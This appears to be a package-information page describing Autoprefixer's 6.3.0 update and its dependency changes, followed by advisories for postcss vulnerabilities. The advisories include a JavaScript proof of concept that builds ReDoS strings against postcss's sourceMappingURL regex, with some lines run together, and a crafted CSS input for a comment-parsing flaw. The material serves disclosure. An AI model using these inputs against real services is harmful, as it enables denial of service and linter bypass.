Autoprefixer updated from version 6.2.3 to 6.3.0 in January 2016 introduces several key changes for developers relying on this tool to automatically add vendor prefixes to their CSS. The core functionality remains consistent, focusing on leveraging the Can I Use database for accurate and up-to-date prefixing.
A notable difference lies in the updated dependencies. caniuse-db jumps from version 1.0.30000382 to ^1.0.30000387, indicating an updated browser support database, ensuring more accurate and comprehensive prefixing based on the latest browser compatibility information. browserslist also sees an update, moving from ~1.0.1 to ~1.1.1, which likely brings improvements and bug fixes related to browser selection and targeting. The postcss version also increased from ^5.0.13 to ^5.0.14 possibly bringing bug fixes.
In the devDependencies section, should increases from 8.0.2 to 8.1.1 and fs-extra goes from 0.26.3 to 0.26.4, probably denoting a bug fix. One important change is browserify that updates from 12.0.1 to 13.0.0.
For developers, these updates translate to enhanced reliability and accuracy in vendor prefixing, crucial for cross-browser compatibility. The updated caniuse-db ensures prefixes are applied only where necessary, reducing CSS bloat and improving performance. While the core API remains the same, upgrading to 6.3.0 offers a more robust and refined prefixing experience. These incremental updates collectively contribute to a more seamless and efficient development workflow for front-end engineers.
All the vulnerabilities related to the version 6.3.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r
discrepancies, as demonstrated by @font-face{ font:(\r/*);}
in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.